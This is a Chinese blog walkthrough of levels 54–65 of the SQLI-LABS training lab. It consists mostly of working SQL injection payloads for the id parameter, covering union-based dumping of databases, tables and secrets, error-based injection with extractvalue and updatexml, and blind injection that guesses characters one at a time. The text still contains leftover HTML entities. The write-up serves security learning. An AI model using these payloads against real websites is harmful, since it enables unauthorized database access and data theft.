SQLILABS靶场通过小记(54~65)

篇首语：本文由编程笔记#小编为大家整理，主要介绍了SQLI-LABS 靶场通过小记(54~65)相关的知识，希望对你有一定的参考价值。

54~65

• • • • Less-54:
      • • 1.查询数据库
        • 2.查询表
        • 3.查询字段
        • 4.查询数据
        
        
      • Less-55:
      • Less-56:
      • Less-57:
      • Less-58:
      • • 1.报错注入查询库名
        • 2.查询表名
        • 3.查询字段
        • 4.查询数据
        
        
      • Less-59:
      • Less-60:
      • Less-61:
      • Less-62:
      • • 1.判断数据库名的长度
        • 2.利用ascii码猜测数据库名
        
        
      • Less-63:
      • Less-64:
      • Less-65:
      
      
    
    
  
  
• :cherry_blossom:​完结撒花:cherry_blossom:
•   ​1~65&＃xff0c;堆叠注入和报错注入挺让人头疼的所以我写的比较简单&＃xff0c;为了做出这65道题翻阅了有7&＃xff0c;8篇博客&＃xff08;因为我比较菜&＃xff09;:hugs:​&＃xff0c;做完这65道题收获还是蛮多的&＃xff0c;也更让我深刻的认识到了自身的不足&＃xff0c;还是需要继续“好好学习&＃xff0c;天天向上”啊:books::pencil2:​​:books:​:pencil2:​&＃xff01;

Less-54:

1.查询数据库

?id&＃61;-1&＃39; union select 1,database(),3 -- qwe //库&＃xff1a;challenges


2.查询表

?id&＃61;-1&＃39; union select 1,group_concat(table_name),3 from information_schema.tables where table_schema&＃61;&＃39;challenges&＃39; -- qwe //表&＃xff1a;0HH6JD95U8


3.查询字段

?id&＃61;-1&＃39; union select 1,group_concat(column_name),3 from information_schema.columns where table_schema&＃61;&＃39;challenges&＃39; and table_name&＃61;&＃39;0HH6JD95U8&＃39; -- qwe //字段&＃xff1a;id,sessid,secret_IK8H,tryy


4.查询数据

?id&＃61;-1&＃39; union select 1,group_concat(secret_IK8H),3 from 0HH6JD95U8 -- qwe //key&＃xff1a;5TyUvzJndld9x4XamGn09368


Less-55:

和54题相同&＃xff0c;只不过需要括号)闭合

?id&＃61;-1) union select 1,2,3 -- qwe


Less-56:

与54题相同&＃xff0c;只不过需要单引号括号&＃39;)闭合

?id&＃61;-1&＃39;) union select 1,2,3 -- qwe


Less-57:

与54题相同&＃xff0c;只不过这道题需要双引号"闭合

?id&＃61;-1" union select 1,2,3 -- qwe


Less-58:

通过在id后加反斜杠&＃xff0c;发现需要单引号&＃39;闭合&＃xff0c;经过测试不能通过union进行联合查询&＃xff0c;但是会产生报错信息&＃xff0c;使用报错注入

1.报错注入查询库名

?id&＃61;-1&＃39; and extractvalue(1, concat(0x5c, (select database()))) -- qwe //库名&＃xff1a;challenges


2.查询表名

?id&＃61;-1&＃39; and updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema&＃61;&＃39;challenges&＃39; limit 0,1)),0) -- qwe
//表&＃xff1a;46AZEIPRHM 199S5PGWIH


3.查询字段

?id&＃61;-1&＃39; and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema&＃61;&＃39;challenges&＃39; and table_name&＃61;&＃39;199S5PGWIH&＃39; limit 0,1),0x7e),1) -- qwe
//字段&＃xff1a;id,sessid,secret_QGRQ,tryy


4.查询数据

?id&＃61;-1&＃39; and updatexml(1,concat(0x7e,(select secret_QGRQ from 199S5PGWIH limit 0,1),0x7e),1) -- qwe
//数据&＃xff1a;eqF0rqlhQso5Ce2DtnCtJ3JU


Less-59:

与58题相同&＃xff0c;不用单引号闭合

/?id&＃61;-1 and extractvalue(1, concat(0x5c, (select database()))) -- qwe


Less-60:

与58题相同&＃xff0c;只不过需要使用双引号括号")闭合

?id&＃61;-1") and extractvalue(1, concat(0x5c, (select database()))) -- qwe


Less-61:

与58题相同&＃xff0c;这题需要使用单引号括号括号&＃39;))闭合

?id&＃61;-1&＃39;)) and extractvalue(1, concat(0x5c, (select database()))) -- qwe


Less-62:

使用&＃39;)闭合&＃xff0c;在130次内完成盲注

1.判断数据库名的长度

?id&＃61;1&＃39;) and length(database()&＃61;10) -- qwe //正常说明是长度是10


2.利用ascii码猜测数据库名

?id&＃61;1&＃39;) and ascii(substr(database(),1,1))&＃61;99 -- qwe c
?id&＃61;1&＃39;) and ascii(substr(database(),2,1))&＃61;104 -- qwe h
............阿巴阿巴太多了&＃xff0c;以此类推吧


Less-63:

与62题相同&＃xff0c;使用单引号闭合

?id&＃61;1&＃39; and ascii(substr(database(),1,1))&＃61;99 -- qwe c


Less-64:

与62题相同&＃xff0c;使用括号括号))闭合

?id&＃61;1)) and ascii(substr(database(),1,1))&＃61;99 -- qwe


Less-65:

无需闭合

?id&＃61;1 and ascii(substr(database(),1,1))&＃61;99 -- qwe


---

&＃x1f338;​完结撒花&＃x1f338;
  ​1~65&＃xff0c;堆叠注入和报错注入挺让人头疼的所以我写的比较简单&＃xff0c;为了做出这65道题翻阅了有7&＃xff0c;8篇博客&＃xff08;因为我比较菜&＃xff09;&＃x1f917;​&＃xff0c;做完这65道题收获还是蛮多的&＃xff0c;也更让我深刻的认识到了自身的不足&＃xff0c;还是需要继续“好好学习&＃xff0c;天天向上”啊&＃x1f4da;✏️​​&＃x1f4da;​✏️​&＃xff01;